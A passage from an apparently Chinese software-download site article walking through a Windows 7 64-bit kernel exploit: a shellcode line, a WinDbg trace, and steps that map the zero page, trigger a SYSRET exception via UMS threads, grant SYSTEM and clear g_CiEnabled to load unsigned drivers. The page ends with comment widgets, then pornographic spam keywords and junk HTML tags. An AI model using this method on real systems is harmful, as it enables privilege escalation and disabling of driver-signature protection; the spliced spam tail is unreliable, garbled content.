    *(PLONGLONG)((ULONG_PTR)0L+0x10) =  KernelShellcodeAddress;

    的精華所在,其他的大家看代碼也就清楚了。

    說明的是:

    原始的老外代碼是VS2010 編譯的,我修改為最常用的VS2008 編譯,同時修改了些小BUG。

    代碼調試可以調試到

    斷點nt!KiUmsFastReturnToUser

    Breakpoint 5 hit

    nt!KiUmsFastReturnToUser+0x17e:

    fffff800`0428907e 488b8de8000000  mov     rcx,qword ptr [rbp+0E8h] //構造的異常返回地址

    2: kd> p

    nt!KiUmsFastReturnToUser+0x185:

    fffff800`04289085 4c8b9df8000000  mov     r11,qword ptr [rbp+0F8h]

    2: kd> p

    nt!KiUmsFastReturnToUser+0x18c:

    fffff800`0428908c 498be9          mov     rbp,r9

    2: kd> r

    rax=0000000000000000 rbx=fffffa800fa0fb60 rcx=8000000000000000(構造的異常返回地址)

    rdx=0000000000000000 rsi=0000000076f8edc0 rdi=0000000000000000

    rip=fffff8000428908c rsp=fffff880097d2bb0 rbp=fffff880097d2c60

    r8=00000000002ff6e0  r9=00000000002ff6e0 r10=0000000000000000

    r11=0000000000010246 r12=0000000000000001 r13=0000000000000001

    r14=0000000000000000 r15=00000000771e84f0

    iopl=0         nv up di pl zr na po nc

    cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000046

    nt!KiUmsFastReturnToUser+0x18c:

    fffff800`0428908c 498be9          mov     rbp,r9

    后面SYSRET 觸發異常后,不能對在異常處理的代碼下斷點,否則會觸發藍屏。

    還有masm64New.rules文件拷貝到你的X:\Program Files\Microsoft Visual Studio 9.0\VC\VCProjectDefaults,X為你VC2008所在的盤。然后就可以調試即可。

    代碼里面也比較簡單

    1,  不是WIN764 位就退出

    2,  UMS函數初始化失敗也退出。

    3,  判斷函數的參數,或者帶PID,或者是EXE路勁,為了能使對應的程序為SYSTEM權限,及清除標志g_CiEnabled,從而可以安裝加載非簽名驅動,這2個是為了表明內核執行代碼可能導致的危害性做的演示。

    4,  分配0地址,并填入一些特殊數據,確保執行流程按指定的方向執行。

    5,  設置好SHELLCODE,并將shellcode入口點填入地址0X10,從而使其被觸發調用

    6,  調用UMS線程,調用到我們的HOOK,填入非規范地址,從而觸發異常執行。

    最后補充下,這段代碼在WIN8 64位下應該是無效的,因為WIN8 64不允許分配0地址,也不允許內核執行應用空間的代碼。

      win7主題
      (20)win7主題
      西西軟件園提供好看的主題下載,主題包括開機登錄畫面,鼠標指針,聲音等等方便不懂美化的童鞋使用。打開,里面有幾個文件夾,若有兩個,那么分別是和,選擇和你系統版本或一樣的文件夾,把里面的所有文件復制到替換即可。好像這個無法直接替換,也不能輕易替換,可以利用系統啟動盤,啟動到中去替換。這個文件夾里面就是主題文件,打開這個文件夾,把里面的文件和文件夾復制或者剪切到目錄下。建議使用主題安裝工具安裝,看文件夾...更多>>

      相關評論

      閱讀本文后您有什么感想? 已有人給出評價!

      • 8 喜歡喜歡
      • 3 頂
      • 1 難過難過
      • 5 囧
      • 3 圍觀圍觀
      • 2 無聊無聊

      熱門評論

      最新評論

      發表評論 查看所有評論(0)

      昵稱:
      表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
      字數: 0/500 (您的評論需要經過審核才能顯示)
      推薦文章

      沒有數據

      女人让男人桶30分钟免费视频,女人张开腿让男人桶个爽,一进一出又大又粗爽视频
    • <td id="ae6ms"><li id="ae6ms"></li></td>
    • <xmp id="ae6ms"><td id="ae6ms"></td><table id="ae6ms"></table>
    • <table id="ae6ms"></table>
    • <td id="ae6ms"></td>
      <td id="ae6ms"></td>
    • <table id="ae6ms"></table><table id="ae6ms"><td id="ae6ms"></td></table>
    • <td id="ae6ms"></td>
    • <table id="ae6ms"><li id="ae6ms"></li></table>
    • <table id="ae6ms"></table>